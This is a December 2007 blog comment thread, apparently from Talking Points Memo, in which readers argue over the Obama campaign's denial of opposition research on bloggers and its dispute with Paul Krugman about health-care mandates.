Obama Campaign Denies Collecting "Oppo Research" On Progressive Bloggers

Comments (118)

NYer wrote on December 10, 2007 4:07 PM:

Interesting, the McClurken episode was not a friendly time for Obama in the netroots - and the campaign is not really going to come out and ever going to admit trying to find a lever against some bloggers. But we will see if the Obama supporters now going to try to attack Chris Bowers like they are attacking Jerome for his points against Obama recently.

vena wrote on December 10, 2007 4:08 PM:

I've heard about this thing with Krugman over the weekend. I read somewhere his son works for the Clinton campaign and that he didn't always sing this tune. I don't know what to think.

Ed wrote on December 10, 2007 4:09 PM:

Krugman is waterboy for Hillary, and everything he says from this point on is suspect to me.

DTM wrote on December 10, 2007 4:13 PM:

What is the definition of an "oppo-style document"?

Because the linked document just contrasts some things Krugman wrote recently about Obama's plan with an earlier New York Times column he wrote about Obama's plan (back in June).

HolyRomanUmpire wrote on December 10, 2007 4:13 PM:

Here's the thing about the Krugman counter. (See "Oy" linked above.

He writes that the Obama people are doing something "very wrong," and taking him out of context, but he does this all while mischaracterizing what the Obama site actually says.

Read down to the bottom of Krugman's post and you will see that he hyperbolically states that Obama is pretending that he [Krugman] never had a problem with Obama's Healthcare plan.

But that's not what Obama's website says. Look at the top. The Obama site clearly states that Krugman has basically always had reservations, but that Krugman's tone has changed. And that is something that Krugman admits; specifically that he changed his tone b/c he felt Obama was "attacking from the right."

I'm a bigtime Krugman fan, but this disappoints me. It seems to be little more than an ego-driven pissing match for him.

I mean, the guy wrote 3 columns in a row bashing on Obama after he had said some positive things earlier. Was the Obama camp just supposed to do nothing?

Finally (to end my disordered thoughts) Krugman says that quotes on the Obama site were taken out of context, but I don't see how. The point is his tone changed. And that's the truth.

kjoe wrote on December 10, 2007 4:15 PM:

Exactly what is opposition research, and what are the distinguishing characteristics of it which set it apart from a careful, well reasoned examination of issues?

evan wrote on December 10, 2007 4:16 PM:

Ed:

if you ever read Krugman's columns, you would know that if anything, he seems to favor Edwards, so stop with the typical Obama-supporter knee-jerk reactions (i.e. that anytime something negative comes out about Obama it must be Hillary's doing, either directly or indirectly). It's old and tired.

arbitrista wrote on December 10, 2007 4:16 PM:

I'm an Obama "leaner," but I have to say that his dealings with Krugman have been blundering. A public note politely disputing Krugman's op-eds perhaps, but an attack on his character? That's just silly. He's a columnist, for goodness sake!

Julie Waters wrote on December 10, 2007 4:17 PM:

Vena: You "read somewhere" about Krugman and "don't know what to think?" Perhaps you'd like to introduce some fact into the discussion. I.e., what did you read and where did you read it?

Anonymous wrote on December 10, 2007 4:19 PM:

I don't believe the Obama camp denial at all, in light of how they treated Krugman.

HolyRomanUmpire wrote on December 10, 2007 4:19 PM:

arbitrista,

But that's precisely the point. The Obama site actually is a "public note politely disputing Krugman's op-eds."

I don't see how saying - look, here's what you wrote then and here's what you are writing now - is a personal attack. Can you point me to such on the Obama site?

Julie Waters wrote on December 10, 2007 4:19 PM:

Vena: you "read somewhere" that Krugman has some family connection with a Clinton supporter and "don't know what to think?"

Perhaps you'd like to introduce some actual fact into the discussion? What did you read and where? Was it a valid source of information or just someone trolling?

HolyRomanUmpire wrote on December 10, 2007 4:23 PM:

I can't believe this. Is anybody actually reading the Obama site on Krugman or are people just reading the blurb above and assuming it's a personal attack? Here: I'll make it easy for you.

http://www.barackobama.com/factcheck/2007/12/07/fact_check_krugman_didnt_alway.php

Find me a personal attack, or anything below the belt.

Nick wrote on December 10, 2007 4:25 PM:

I read with interest that some posts here contend that Krugman's attitude toward Obama has changed. I think it is the Obama supporters that have changed. They now see everything through their "Obama Lens" and become defensive/offensive about everything that does not cast a favorable glow on their candidate.

Dave wrote on December 10, 2007 4:26 PM:

Exactly what is opposition research, and what are the distinguishing characteristics of it which set it apart from a careful, well reasoned examination of issues?

Good question. I'd like to hear a response from Greg on this.

vena wrote on December 10, 2007 4:27 PM:

J.Waters,
I've been catching up a lot this past week on the democrats. I forget where I read it, but someone also posted a link showing where Krugman's son works for Clinton's campaign. As far as not knowing what to think, I don't know if I think Obama or Krugman is right on this healthcare issue.

upper left wrote on December 10, 2007 4:27 PM:

There you go again. Just as Team Hillary whined that they were being attacked everytime JE or BO tried to draw contrasts this fall, you are accusing Obama's campaign of an "oppo-style attack."

Hardly. The Obama piece is clearly defensive and points out that Krugman's recent column takes a much more critical tone than his first piece on Obama's proposal. It is not personal, it dishes no dirt on Krugman. It mearely points out that Krugman has changed his tone from emphasizing his areas of agreement to emphasizing his area of concern.

As some one who has been involved in health policy and attempts to pass universal care for over twenty years, I find this whole mess a tempest in a teapot.

I do not care about the details of anyones policy proposal at this point. The problem with universal care is not the policy, it is the politics. How do you overcome the vociferous opposition of the huge financial interests that benefit from the status quo? That is the real question.

I think Obama, with his high favorability ratings and his ability to talk to indies and moderate Repugs is the best positioned to get the politics right. I like Krugman, but I think this is a case of not seeing the forest for the trees.

prove it wrote on December 10, 2007 4:29 PM:

If Bowers or Sargent want to make (or repeat) such an accusation - that the Obama campaign conducted oppo research on some (Bowers has now backpedaled and said "one") blogger(s) - let them step forward and provide the name of the alleged target. Anything less is the very kind of irresponsible yellow journalism that blogs were born to critique.

Also, what if a "progressive blogger" were, say, receiving funding from a campaign and not disclosing it? Shouldn't that be fair game, just as much as when corporate media gets caught in conflicts-of-interest?

The idea that *anyone* is a sacred cow - be it Paul Krugman or the tomb of the unknown "progressive blogger" - is the antithesis of what progressive blogging ought to be about.

Give facts. Name names. Put up or shut up.

dana wrote on December 10, 2007 4:30 PM:

I agree with Dave and HolyRomanUmpire (r u a firesign fan?). I think of oppo research as digging up dirt. Obama's page, while argumentative, is nothing like that.

bg wrote on December 10, 2007 4:38 PM:

Bowers' rant is hyperbolic and paranoid. If Krugman had stuck to matters of policy difference when assailing Obama's proposals for healthcare and social security, he likely would have been ignored. Instead, Krugman wildly exagerrated Obama's mild efforts to contrast his plans with those of Senator Clinton by portraying them as a "right-wing" assualt straight from the playbook of Karl Rove. How a plan to tax the wealthiest Americans in order to shore up social security and another to provide government sponsored healthcare for those who can't afford it can be spun as nefarious Republican projects is beyond me--yet Krugman twice found a way to do just that. It was disingenuous and merited a response.

pseudonymous in nc wrote on December 10, 2007 4:39 PM:

The Obama site clearly states that Krugman has basically always had reservations, but that Krugman's tone has changed.

Well, Obama's tone changed, including his embrace of the Social Security shortfall canard, and his criticism of individual mandates in other healthcare plans. If he wants to run a campaign designed to warm David Broder's ear, that's his choice, but pointing out his line of attack -- from the right -- after he uses it is absolutely fair.

Bupalos wrote on December 10, 2007 4:42 PM:

What exactly is the story here? What is the definition of "oppo research?" What the hell are you doing?

Couldn't this lede more accurately be written as follows: "Bogger claims anonymous sources claim Obama camp treats some people on the left as opposition?"

The news here is that you are reporting this as news. Can't wait for the breathless followups on this little gem.

Pandora wrote on December 10, 2007 4:42 PM:

Obama's war of triangulation:

http://www.theleftcoaster.com/archives/011470.php

Eriposte discusses Obama's stand or lack thereof on 13 points. Its rather a long read so if you don't have time at least read the conclusion. Get your information from all sources. Don't follow blindly.

Taylor wrote on December 10, 2007 4:49 PM:

Krugman is an overrated dufus. I've never found him compelling at all.

mkolb wrote on December 10, 2007 4:50 PM:

Who are Sen. Obama's economic advisors? I read something about them recently but did not recognize the names.

If you step back and re-read all that's been written about this from Dr. Krugman's original column on, and read it from an informational standpoint rather than a political one, I think yuou'll see not attacks by anyone, but disagreements on policy.

Everyone seems to be on such a hair trigger that the mildest of criticisms is takn as an assault.

We're only near the primaries - the attacks haven't even started yet.

poetry wrote on December 10, 2007 4:51 PM:

If Barack Obama sees Paul Krugman as an enemy, wait until the rightwing "hit-men" start in on him.

The rightwing extremists worked over the Clintons for 15 years and the Clintons are still standing.

But to suggest that Paul Krugman is anything but a supporter of progressive values and policies is just utter nonsense. There have been times (years, in fact) when Krugman's voice was the only voice we had to hold on to during the long Bush "winter."

If Paul Krugman thinks Obama's healthcare plan lacks something (such as a mandate), he gives his reasons ... he does not just opine without giving reasons.

HolyRomanUmpire wrote on December 10, 2007 4:52 PM:

Pseudonymous in nc,

I'm not sure Obama's tone "changed" so much as when pushed by HRC and JE, he pushed back. This to me is a non-story. Was he supposed to say? "Yes, my plan doesn't include mandates... it doesn't, but it should."

By the way, I'm completely fine with Krguman changing his tone. It makes sense. As he said in his early columns, he had his reservations but was giving Obama the benefit of the doubt. Obama stated pushing back against positions Krugman likes (in response to HRC and JE), and so Krugman stopped giving Obama that benefit. (This is, BTW, what Krugman himself says in his Nov 30 column, and if the NYTimes page were loading for me now, I'd supply the link.)

What I'm not fine with is Krugman writing that Obama is doing something "very wrong," or Krugman (and others) mischaracterizing Obama's page. It's not a personal attack. And it doesn't say that Krugman "never had a problem" (to use Krugman's words) with Obama's plan.

This is, in reality, a policy disagreement. It's worth arguing over. It's worth talking about mandates and the state of social security. I personally lean more toward Obama on those issues, but I both understand why others disagree, and am willing to listen to arguments about them.

But why Krugman and others take this so personally is what I simply cannot understand.

poetry wrote on December 10, 2007 4:56 PM:

I would be very interested to hear Barack Obama explain and defend his healthcare plan at the Kaiser Presidential Healthcare Forums. So far, I haven't seen either his name or Rudy Giuliani's on the schedule -- but I hope to.

lorelynn wrote on December 10, 2007 4:56 PM:

I'm a Hillary supporter. I got no problem with him researching Krugman's past writings. I do have a problem with the press release that went out which left the impression that Krugman's initial assessment was entirely positive - but that's the kind of low-life bullshit one has come to expect from the Obama campaign. It's like he hired a bunch of school yard bullies to run his campaign. However, if there is evidence that Obama is delving into the bloggers personal lives for dirt, that I have problems with. I wonder if that's the revelation coming down the pike?

As I recall, Frank Rich blasted Hillary to kingdom come a few times, and she hasn't taken him to task. I think that's the difference between a candidate who actually has some integrity and an understanding of the perogatives of the free press, and someone like Obama who is running out of sheer ego.

cms wrote on December 10, 2007 4:56 PM:

Excuse me, but why exactly are progressive bloggers sacred cows? Even if the campaigns were putting together "oppo" research on bloggers, it would be completely appropriate. The campaigns need to be 100% prepared for anything. And it's not like progressive bloggers are some sort of sycophants who just fall into line with the Dem candidates. It is unbelievable to me so many bloggers consider themselves above reproach from Dem candidates, esp the ones who make it their personal mission to destroy individual candidates.

They need to get over themselves.

(btw, I see Bowers already corrected his piece. What a joke.)

NCSteve wrote on December 10, 2007 4:57 PM:

"They now see everything through their "Obama Lens" and become defensive/offensive about everything that does not cast a favorable glow on their candidate."

Yeah, that's certainly a flaw that is unique to Obama supporters. You never see, say, Hillary supporters or, hell, Kucinich supporters doing that.

The truth is that Krugman is seeing things through his Krugman lens and Obama's people are seeing it through their lens, and that's very, very unlike both of them. This is the kind of thing Obama used to handle by picking up the phone and calling the person in question. I'm not really sure what's going on this time.

I have found this whole thing very distressing because, before this, I agreed with these two guys 95% of the time. I can only recall two columns of Krugman's I seriously disagreed with and only three issues where I thought Obama was flat out wrong--(and, on one of those three, he later changed his mind to my view).

On the Social Security thing, I was, and am, totally with Obama, in that I felt that Krugman was basically demanding that Obama concede he would be utterly incapably of controlling the debate as President if he dared deviate from the Democratic Social Security Speech Code. I think Obama was willing to risk using the Republicans' "crisis" frame to describe a real, but fixable, problem because he saw it as an opportunity to generate political capital that could be used to fix harder problems down the road. Specifically, the person who can fix this big "crisis" without any mamby pamby Blue Ribbon commission dodging and weaving will come out of the effort with a lot of mo. Risky? Not taking risks is risky too, often the riskiest thing you can do (a fine point of strategy that eludes Hillary's campaign).

On the medical plan tiff, its a harder call. Eminently qualified and trustworthy experts have looked exhaustively at the mandate vs. no mandate issue and come down squarely on both sides of the issue. I am neither capable of obtaining the expertise necessary to make an independent judgment about who is right nor am I particularly intererested. In my view, all three plans will be history by the time we'd be in a position to start legislating on any of them. I really think that once we get the country to buy in on a more liberal policy in general through the elction of a Democrat, people will finally be ready, and fed up enought, to give single payer a chance. That's why I see the whole dispute as being so utterly riduculous.

vena wrote on December 10, 2007 4:57 PM:

Pandora: That site is interesting, it's always nice to read different perspectives. His interpretation of the social security issue though, was very flimsy. Basically, no democrat can agree on certain points with a repub....never ever. It's a little absurd and childish.

Jonathan wrote on December 10, 2007 4:58 PM:

Who are you going to believe?

Obama?

Or your own lying eyes?

The attack on Krugman for, essentially, pointing out that Obama's health care proposal was the least effective of the proposals by the democratic contenders does a lot of things.

It shows, as the McClurkin incident did, that Obama has no compunction about kicking progressives in the teeth.

It shows that he cannot tolerate even the tiniest criticism of his policies.

It shows that he will smear people -- good, progressive people -- who disagree with him.

It's ugly, folks. Really ugly.

Greg DeLassus wrote on December 10, 2007 4:58 PM:

I don't know if I think Obama or Krugman is right on this healthcare issue.

I am not sure that it is really a matter of one being right and the other wrong, at least not on the points about which each is most insistantly arguing. I think that Dr Krugman is almost certainly correct about the need for a mandate if the goal is to achieve universal coverage. Evidently, Sen Obama does not really dispute the truth of that, as he and his people speak of leaving only very few without coverage. It is simply that Sen Obama thinks that insisting on a mandate would make it impossible to get the plan passed. It other words, Dr Krugman's argument concerns one aspect of the health care issue (actually achieving universal coverage) and Sen Obama's concerns another (getting something past corporate/Republican opposition). As such, it might be that both are correct on the points about which each is arguing most intensely.

I like Krugman, but I think this is a case of not seeing the forest for the trees.

I tend to agree with this, but to be totally fair to Dr Krugman, he was at pains to make clear that he thinks that all three major democratic candidates' plans are better than anything on offer on the republican side. In other words, he is not totally blind to the forest, although I agree with you that this criticism might appear slightly myopic in hindsight if Sen Obama does take the nomination.

poetry wrote on December 10, 2007 4:59 PM:

Sorry, here's the link to the Kaiser Presidential Healthcare Forums:
http://presidentialforums.health08.org/

dry_fish wrote on December 10, 2007 5:04 PM:

Greg, I wouldn't be so quick to accept that denial. This one of those "depends on the meaning of is"-type questions. In this case, the "is" is oppo docs or opposition research papers. Conducting research does not require having put together a paper.

Annabelle wrote on December 10, 2007 5:06 PM:

Wouldn't opposition research mean learning that Dr. Krugman had opposed mandates in a paper he wrote in second grade, and calling him a hypocrite?

This seems to fall under the heading of "discussion on the merits". We need more of them.

paDem wrote on December 10, 2007 5:08 PM:

"Nick wrote on December 10, 2007 4:25 PM:

I read with interest that some posts here contend that Krugman's attitude toward Obama has changed. I think it is the Obama supporters that have changed. They now see everything through their "Obama Lens" and become defensive/offensive about everything that does not cast a favorable glow on their candidate."

You see, this is the kind of thing I don't understand. I understand you like another candidate. I don't know who and it really doesn't matter. But you'll have to forgive some of us if this sort of paternalistic attitude didn't begin to rankle after a while.

For the record, I'm not saying anything against Hillary, other than I think Obama makes a better candidate now, and would make a better president for the issues facing us.

I don't need to bash her to build him up the way you do. Deal.

NCSteve wrote on December 10, 2007 5:10 PM:

Aaaannd now, after we've all written about this and gotten ourselves in to a Category 1 tizzy (and a Category 3 tizzy on OpenLeft), Chris Bowers sheepishly admits that he was getting all sweaty and indignant over something he basically just pulled out of his ass. That's great. Kudos to him for the admission, however.

DTM wrote on December 10, 2007 5:11 PM:

mkolb,

Obama's lead economic advisor is a Professor of Economics he knows from the University of Chicago, Austan Goolsbee. Goolsbee is a tax and public policy expert (focusing on new technologies). He also writes the monthly Economics Scene column in the NYT. Goolsbee has a Wikipedia entry if you want more information.

Obama's other economic advisors include people like David Cutler (a health care economist) and Jeffrey Liebman (a tax, social insurance, and poverty economist), both at Harvard.

destor23 wrote on December 10, 2007 5:13 PM:

Greg, I am a little surprised that you don't seem skeptical over Obama's denial. This isn't a shut case at this point. Not in the context of Obama's other actions.

HolyRomanUmpire wrote on December 10, 2007 5:15 PM:

Dear Jonathan,

Let me say this one more time. Very slowly.

Find. me. a. personal. attack. or. even. anything. below. the. belt.

http://www.barackobama.com/factcheck/2007/12/07/fact_check_krugman_didnt_alway.php

Also,

lorelyn,
I would (and I mean this sincerely) like to see the press-release you are referring to. If there is such, it might help me understand why Krugman says what he does at the end of his blog post. Do you have a link?

CT Voter wrote on December 10, 2007 5:18 PM:

I find this comment:

After I heard about oppo being prepared against one blogger a couple months ago, I speculated that meant the earlier oppo was conducted by the Obama campaign as well. That is purely speculation on my part. Take it for what it is worth.

to be most interesting. And fact free, really. It does represent sort of a smear, doesn't it?

I heard, but can't remember from who, that Hillary Clinton really is, in fact, a closet radical jihadist, but that's purely speculation on my part and I might be conflating some stuff.

There. Another smear. But maybe I'm just conflating some stuff....

What was the point of this piece, anyway?

Aaron M wrote on December 10, 2007 5:20 PM:

Echoing what others have already stated above.....

I’m not sure I understand what all the commotion is about.

Mr. Krugman wrote an op-ed, the Obama campaign felt that its tone (not its substance) differed from an op-ed Mr. Krugman wrote last June on the same health care plan.

The Obama campaign, believing that both the health care plan and Obama had been misrepresented (and also realizing that Mr. Krugman is one of the most highly read and respected columnists in the country and therefore influential), puts together a fact sheet highlighting what they saw as inconsistencies between Mr. Krugman's June 4th op-ed and the one he wrote on 11/30.

That's it.

How is that an attack? Sure, it's critical, but they did not agree with Mr. Krugman's column, so that is to be expected. Other than stating that Mr. Krugman was inconsistent in his criticisms, there was nothing personal, nothing mean spirited.

I also am an admirer of Mr. Krugman’s writing (particularly these past 6 years); but he is not infallible and therefore should not be considered immune from criticism if an individual or a campaign finds fault in one (or more) of his columns.

And as DTM and Annabelle noted above, is it really considered oppo-research to simply compare one column to another?

gqmartinez wrote on December 10, 2007 5:22 PM:

What Krugman's supposed change in tone was referring to was Obama's use of rhetoric that he believes is damaging to the future prospect of universal health care, not in his plan. Read what Krugman said. He always had reservations on Obama's plan, but was not shy in saying it was better than he thought it would be and better than any GOPer's plan. Krugman didn't really criticize Obama until the latter started using a right-wing frame to push his plan, much as he used the right-wing scare tactic on Social Security. There was no change in Krugman's tone on Obama's plan.

Anonymous wrote on December 10, 2007 5:23 PM:

You basically can't believe anything that Obama says because he is a lying sack of dung. I almost lost it when he tried to ambush Hillary when she said you don't want to pass a trillion dollar tax increase on the middle class to "fix" social security. That plays 100% to the Republican attack hounds. This guy is shiftless. He needs seasoning to say the least. Try sitting there for 8 years with a target on your back and survive, and then we will listen to you Barak.

correctnotright wrote on December 10, 2007 5:25 PM:

Big ado about next to nothing here:

First, I generally like Krugman and agree with him.

Second, I kinda like Edwards or Obama.

third, when I actually read the dispute - well, Krugmans points are weak. Yes, Obama's helath plan doesn't insure universal coverage - but niether does clinton's or edwards.

- and I really don't want the IRS to be telling me I have to buy insurance to keep the rates down for everyone else.

Let's face it - none of these health plans are single payer. The candidates won't get that far in front and don't want a republican nominee to be yelling socialized medicine every two minutes.

As far as Obama "attacking" Krugman - sorry, it ain't so. the web site simply points out what Krugman said in the past.

The one with the chip on the shoulder appears to be Krugman.

Anonymous wrote on December 10, 2007 5:29 PM:

This is what TPM is about? Reporting on anonymous hearsay sources of a blogger that now retracts his story practically before you could get done writing your report on it?

Hey, I heard a blogger mention that HRC likes to watch her husband and Monica Lewinsky in action, and sometimes joins in. Her campaign would undoubtedly deny it though. Write that up. Quick.

bupalos wrote on December 10, 2007 5:31 PM:

"The one with the chip on the shoulder appears to be Krugman."

And TPM. Great "story" guys.

JenJen wrote on December 10, 2007 5:32 PM:

Since when did pointing out discrepencies between something Krugman wrote in June and something he wrote in November become the same as "attacking", "counter-attacking", and (my favorite) an "ongoing battle"?

Look, I respect Paul Krugman, and I respect his second piece on Obama's health care plan as well. But, there is absolutely nothing wrong with the Obama camp pointing out that Krugman seems to have changed his mind in the last few months.

More importantly, turning Krugman into a Sacred Cow isn't doing anyone any favors.

"Leave Paul Krugman aloooooooooooone!"

Pkoso wrote on December 10, 2007 5:32 PM:

for those actually curious about the health care issue and obama's plan / hillary's plan...give this short paragraph from robert reich's blog a read:

"I’ve compared the two plans in detail. Both of them are big advances over what we have now. But in my view Obama’s would insure more people, not fewer, than HRC’s. That’s because Obama’s puts more money up front and contains sufficient subsidies to insure everyone who’s likely to need help – including all children and young adults up to 25 years old. Hers requires that everyone insure themselves. Yet we know from experience with mandated auto insurance – and we’re learning from what’s happening in Massachusetts where health insurance is now being mandated – that mandates still leave out a lot of people at the lower end who can’t afford to insure themselves even when they’re required to do so. HRC doesn’t indicate how she’d enforce her mandate, and I can’t find enough money in HRC’s plan to help all those who won’t be able to afford to buy it. I’m also impressed by the up-front investments in information technology in O’s plan, and the reinsurance mechanism for coping with the costs of catastrophic illness. HRC is far less specific on both counts. In short: They’re both advances, but O’s is the better of the two. HRC has no grounds for alleging that O’s would leave out 15 million people. "

reich, you'll remember, was labor secretary under clinton, so i want to believe his views as being sincere.

by the by and personally, i think krugman has gone too far. i'm a huge fan, but i can't understand devoting so much ink to this issue (however "universal") during a primary season. the key here should be supporting the fact that Democrats are making a go of this issue, that Republicans aren't...and that supporting progressive candidates will get the country much closer to a solution. the solution, of course, can be debated once we're in office.

onceler wrote on December 10, 2007 5:33 PM:

yeah, i knew this was bullsh#t as soon as I saw the story at Eschaton. what a crock. "I know the Obama camp was doing oppo-research!!! Ok, well, it was really just some guy, but there may be more to it than that, I just haven't made it up yet!!" this "dustup" has been the one time in my reading him that I've felt Krugman was not being fully honest. he attacks Barack's lack of mandates, but doesn't discuss Obama's ideas to lower costs, etc. why not? all he does is compare exact plans, one with mandates and one without, and conclude that his forumla requires mandates. well, great. but there are other ways of doing things. are we really going to just lose healthcare as an issue when we're about to be in the majority in every branch of government except the Judicial??? why on earth would we risk putting already poor people into bankruptcy be requiring them legally to buy something they can't afford? why do we accept the failure of ALL of the candidates to address this most basic of issues? of course Obama is right that people who can't afford it now will not suddenly be able to because Hillary decides to mandate it. that will just result in even more disenfranchised poor people. why is nothing being done about these bloodsucking insurance companies? ugh. there is plenty wrong with both HRC and Obama's plans, the mandate question is important, but still a bit beside the point.

DTM wrote on December 10, 2007 5:33 PM:

By the way, I personally believe Krugman is an excellent economist. His political commentary, however, leaves a lot to be desired. And the problem in this case is that the disputes are really political, not economic.

onceler wrote on December 10, 2007 5:34 PM:

arbitrista wrote on December 10, 2007 4:16 PM:

I'm an Obama "leaner," but I have to say that his dealings with Krugman have been blundering. A public note politely disputing Krugman's op-eds perhaps, but an attack on his character? That's just silly. He's a columnist, for goodness sake!

Um, there was no attack on Krugman's character! It has been Krugman attacking Obama's character, actually. Did you even read the links?

texasdem wrote on December 10, 2007 5:36 PM:

How is this any different from the unsubstantiated claims by Hillary supporters of rude calls from the Obama campaign? No facts, no substantiation, just allegations. Regardless of Krugman's articles, this "story" was nothing more than a baseless smear saying that Obama was using "dirty tricks" and conducting "oppo research." Didn't Hillary's campaign call the [unsubstantiated] rude calls "dirty tricks," just before she fired two of her campaign chairs for forwarding the Obama/Muslim e-mail slurs? I.e., for REAL dirty tricks? This is so much bs.

poetry wrote on December 10, 2007 5:47 PM:

For those who would like to know what some of the presidential candidates (Democratic and Republican) have said in explaining and defending their healthcare plans, here's the place: http://presidentialforums.health08.org/

You can read the transcripts of past Kaiser Presidential Healthcare Forums and see the schedule for future presidential candidates' appearances (Democratic and Republican) at: http://presidentialforums.health08.org/

You can view the archived webcasts of past "Presidential Candidate Forums" at: http://www.presidentialforums.health08.org/archives.cfm

Here is a list of those presidential candidates who have already appeared:

- - - - - - - - - - - - - - - - - - - - -
Archives
- - - - - - - - - - - - - - - - - - - - -
Gov. Bill Richardson (D-N.M.)
November 19, 2007

Sen. John McCain (R-Ariz.)
October 31, 2007

Sen. Joseph Biden (D-Del.)
October 25, 2007

Rep. Dennis Kucinich (D-Ohio)
October 25, 2007

Sen. Hillary Rodham Clinton (D-N.Y.)
October 18, 2007

Former Sen. John Edwards (D-N.C.)
September 24, 2007

- - - - - - - - - - - - - - - - - - - - -
and a list of those scheduled to appear
- - - - - - - - - - - - - - - - - - - - -

Sen. Christopher Dodd (D-Conn.)
TBA

Former Gov. Mike Huckabee (R-Ark.)
TBA

Rep. Ron Paul (R-Texas)
TBA

Former Gov. Mitt Romney (R-Mass.)
TBA

http://presidentialforums.health08.org/

savvy wrote on December 10, 2007 5:49 PM:

Vena

Did you read that Krugman's son worked for HRClintons campaign or was it Harry Reid's son?

owenz wrote on December 10, 2007 5:55 PM:

Ugh, the catfight continues. Everyone is being a bit of an asshole here.

Greg - for presenting this little catfight in such Wolf Blitzer-like tones, with phrases like "battle" and "counter-attack" and "oppo style documents." Ugh.

Obama - for using such short captions from Krugman's piece when longer ones would have been more accurate, and for implying that Krugman is somehow acting in bad faith. And for conducting oppo research on a liberal bloger if (a) it is true and (b) "oppo research" involves something as sinister as Bowers and Greg make it sound.

Bowers - for claiming to "know" things when he clearly has only heard rumors about steps the Obama campaign was considering taking. If Obama had used oppo research against a blogger then fine, speculating about the person gathering research on "most major progressive bloggers" would make sense. As it stands, Bowers' speculation is a major stretch, considering how many rightwingers have almost certainly been gathering oppo research on liberal bloggers in recent years.

Barbara McCauley wrote on December 10, 2007 5:56 PM:

Can you HIT PIECE from the NASTY AND DESPERATE CLINTON CAMPAIGN?

Greg DeLassus wrote on December 10, 2007 5:57 PM:

The rightwing extremists worked over the Clintons for 15 years and the Clintons are still standing.

What is this supposed to mean? "Still standing"? Bill Clinton is not in office, so what does it mean for him to be "still standing"? Hillary Clinton has successfully run for the Senate now twice - in New York, a state which has obvious and well documented democratic leanings. This hardly shows, however, that she would still be "standing" if she were running in Florida, or Ohio, or Pennsylvania, or any of the several other states-other-than-New York in which she will have to compete if she gets the nomination. Meanwhile, lest we forget, Bill Clinton twice lost the popular vote. He won the electoral majorities of both '92 and '96 by virtue of the fact that Ross Perot pealed away enough votes in important states to tip them away from Bush and Dole. In other words, it seems to me an open question whether the Clintons are "still standing" after the battering they have taken from the Republican smear-machine. The meme that these folks are fighters who can win conveniently ignores the reality that they can win in inclement circumstances only when there is a third party spoiler in the race. Given that no such spoiler appears evident on the horizon in this coming race, I would be chary of setting too much store by this meme.

willyjsimmons wrote on December 10, 2007 5:57 PM:

'Um, there was no attack on Krugman's character!'

Attempting to call a person a 'flip-flopper' IS an attack on someone's character.

**Ahem, same thing Obama accuses Clinton of**

The Obama campaign SELECTIVELY quoted Krugman's original piece about Obama's healthcare plan.

So there's a lot to commend the Obama plan

http://www.barackobama.com/factcheck/2007/12/07/fact_check_krugman_didnt_alway.php

What's missing here is the all critical 'BUT' that follows in the VERY NEXT paragraph Krugman wrote.

Now for the bad news. Although Mr. Obama says he has a plan for universal health care, he actually doesn’t — a point Mr. Edwards made in last night’s debate. The Obama plan doesn’t mandate insurance for adults. So some people would take their chances — and then end up receiving treatment at other people’s expense when they ended up in emergency rooms. In that regard it’s actually weaker than the Schwarzenegger plan

Emphasis mine.

http://select.nytimes.com/2007/06/04/opinion/04krugman.html?_r=2&oref=slogin&pagewanted=print&oref=slogin

So if Obama wants to 'play' the game of selectively quoting those who offer criticisms of his plans...

how exactly does that play into his theme of 'change'.

And WHY would the Obama campaign attempt to 'respond' to Krugman like they ought to respond to Clinton, or 'smears' coming from the right.

Why try to paint Krugman with the 'He was for it before he was against it!' brush ala Karl Rove?

If you want to challenge Krugman's analysis of Obama's plan, fine.

To purposefully mis-characterize Krugman's critiques smacks of dishonesty.

All this talk about 'tone' is irrelevant.

willyjsimmons wrote on December 10, 2007 6:00 PM:

If I didn't close my tag I apologize...

but I SWEAR I did!

No more html for me.

LOL.

Jeremy wrote on December 10, 2007 6:05 PM:

Krugman very clearly supports John Edwards for president. I would accuse him of hiding behind the NYT's "no endorsemnets" policy but he actually makes his view abundantly clear. This is to his credit. I saw him speak a few weeks ago and he left no confusion that he disliked Hillary, loved Edwards and was ambivalent about Obama. Like all of us, Krugman is susceptible to having his judgment clouded by his preference for a candidate. Twice now, he's gone way overboard in his criticisms of Obama. We all need to focus on the pros and cons of the mandates-based approach. Reasonable people can disagree but the overheated stuff coming from Hillary and now Krugman is just campaign rhetoric. Again, to his credit Krugman makes no secret about the fact that he does indeed have a horse in the race so I think it's perfectly fair to see his recent criticisms in that light.

nene wrote on December 10, 2007 6:11 PM:

"- and I really don't want the IRS to be telling me I have to buy insurance to keep the rates down for everyone else."

So when will you buy it? When you're so sick that others will have to subsidize your care?

That's the problem with non-universal plans in a nutshell.

Richard L. Adlof wrote on December 10, 2007 6:13 PM:

The cult of Obama becomes more Dianetics-Scientologist like every day. From there it is a short hop to scary militant and fanatically rabid like Camp Clinton . . .

nene wrote on December 10, 2007 6:20 PM:

Paul Krugman doesn't have any kids. He has a wife and two cats.

c wrote on December 10, 2007 6:21 PM:

1. Krugman's views about health care reform and about Obama's plan have been consistent, and the Obama campaign document that tries to make him look inconsistent is silly.

2. On the other hand that document is hardly oppo in the traditional sense, or particularly scandalous. The press flack who wrote it (I doubt Obama or even someone like Goolsbee vetted it) has the job of getting out a response to any and all criticism, fast.

3. As Krugman recognizes, the cautious position that Obama has staked out is coherent. There's a genuine policy debate here, and one of the differences between a President and a columnist is that Presidents have to think about what is politically possible.

4. And here is where you can dispute Krugman. Obama has thought about mandates and come down against them. He's asked to explain why, and he gives a reason -- that enforcement is hard and that people who advocate mandates may not have thought through enforcement seriously enough. To Krugman, this is "mudslinging" and "right-wing talking points." No. What's been quoted, at least, is a reasonable riposte in a policy debate. And Democrats *should* be asking that kind of question.

This is what the Obama camp should have said, and hopefully someone will. But you would think, from some of the responses above, that people had never seen policy made.

poetry wrote on December 10, 2007 6:26 PM:

Greg DeLassus:

Are you aware New York state just had a three-term Republican governor (Pataki 1995-2006) and a Republican mayor of NYC (Giuliani) for eight years? Even Mayor Bloomberg, the current NYC mayor, ran and was elected as a Republican.

A case might be made that New York state is a swing state but saying it is a sure Democratic state is nonsense.

When I say the Clintons are still standing, I refer to their poll numbers. Bill Clinton is still very popular; President Clinton left office with a 68% approval rating, which was HIGHER than that of any other departing president since polling began more than seventy years earlier.

Hillary was elected to the U.S. Senate (for New York) with 55 percent of the vote and then re-elected, six years later (when the NY voters knew her even better), with 67% of the vote.

CT Voter wrote on December 10, 2007 6:36 PM:

NY as a swing state? In what context? In the last 4 presidential elections, NY state went big for the Democratic candidate.

You own statement "saying it is a sure Democratic state is nonsense" is contradicted even by the last paragraph.

poetry, what are you talking about?

bvd wrote on December 10, 2007 6:37 PM:

